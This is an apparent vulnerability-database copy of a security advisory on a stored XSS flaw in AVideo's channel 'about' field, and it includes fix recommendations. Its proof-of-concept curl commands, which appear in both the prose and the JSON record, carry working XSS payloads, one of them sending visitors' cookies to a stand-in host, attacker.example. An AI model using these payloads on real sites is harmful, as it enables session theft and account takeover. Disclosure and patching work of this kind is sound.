GHSA-GHX5-7JJG-Q2J7

Vulnerability from github – Published: 2026-03-25 19:52 – Updated: 2026-03-25 19:52
VLAI?
Summary
AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
Details

Summary

A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.

Details

Input sanitization in objects/user.php:156:

public function setAbout($about)
{
    $this->about = strip_specific_tags(xss_esc($about));
}

The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():

$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');

This encodes <script>alert(1)</script> to &lt;script&gt;alert(1)&lt;/script&gt;.

Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:

$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);

But the regex looks for literal <script> — it can never match the entity-encoded &lt;script&gt;. The sanitizer is completely neutralized by the encoding that precedes it.

Output in view/channelBody.php:239-246:

$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
    echo $about;
} else {
?>
    <div id="aboutAreaPreContent">
        <div id="aboutAreaContent">
            <?php echo $about; ?>
        </div>
    </div>

The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.

Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.

The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:

$user->setAbout($_POST['about']);

The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.

PoC

Step 1: Log in as any registered user and update the "about" field:

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='

Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:

https://TARGET/channel/attacker

Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.

Alternative payload using <script> tag (also works due to the sanitization bypass):

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
  • Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
  • Phishing: Attacker can inject fake login forms or redirect users to malicious sites
  • Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm

This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.

Recommended Fix

Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:

// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());

// After (FIXED):
$about = $user->getAbout();

Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:

// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));

// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));

Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:

require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);

And on output, remove html_entity_decode() — output the purified HTML directly.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:52:22Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n    $this-\u003eabout = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, \u0027UTF-8\u0027);\n```\n\nThis encodes `\u003cscript\u003ealert(1)\u003c/script\u003e` to `\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027[^\u003e]*\u003e(.*?)\u003c\\/\u0027 . $tag . \u0027\u003e/s\u0027, $replacement, $string);\n```\n\nBut the regex looks for literal `\u003cscript\u003e` \u2014 it can never match the entity-encoded `\u0026lt;script\u0026gt;`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user-\u003egetAbout());\nif (!empty($advancedCustomUser-\u003eshowAllAboutTextOnChannel)) {\n    echo $about;\n} else {\n?\u003e\n    \u003cdiv id=\"aboutAreaPreContent\"\u003e\n        \u003cdiv id=\"aboutAreaContent\"\u003e\n            \u003c?php echo $about; ?\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `\u003cscript\u003e` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `\u003cimg\u003e` tag is not in the `strip_specific_tags` blocklist (`[\u0027script\u0027, \u0027style\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027applet\u0027, \u0027link\u0027]`), so payloads like `\u003cimg src=x onerror=...\u003e` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user-\u003esetAbout($_POST[\u0027about\u0027]);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible \u2014 no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n  -d \u0027about=\u003cimg src=x onerror=alert(document.cookie)\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker\u0027s channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor\u0027s browser, displaying their session cookie.\n\n**Alternative payload using `\u003cscript\u003e` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n  -d \u0027about=\u003cscript\u003efetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)\u003c/script\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users\u0027 profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended \u2014 remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user-\u003egetAbout());\n\n// After (FIXED):\n$about = $user-\u003egetAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this-\u003eabout = strip_specific_tags(xss_esc($about));\n\n// After (FIXED \u2014 strip tags on raw HTML first, then encode):\n$this-\u003eabout = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best \u2014 if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once \u0027vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php\u0027;\n$config = HTMLPurifier_Config::createDefault();\n$config-\u003eset(\u0027HTML.Allowed\u0027, \u0027p,br,b,i,u,a[href],ul,ol,li,strong,em\u0027);\n$purifier = new HTMLPurifier($config);\n$this-\u003eabout = $purifier-\u003epurify($about);\n```\n\nAnd on output, remove `html_entity_decode()` \u2014 output the purified HTML directly.",
  "id": "GHSA-ghx5-7jjg-q2j7",
  "modified": "2026-03-25T19:52:22Z",
  "published": "2026-03-25T19:52:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…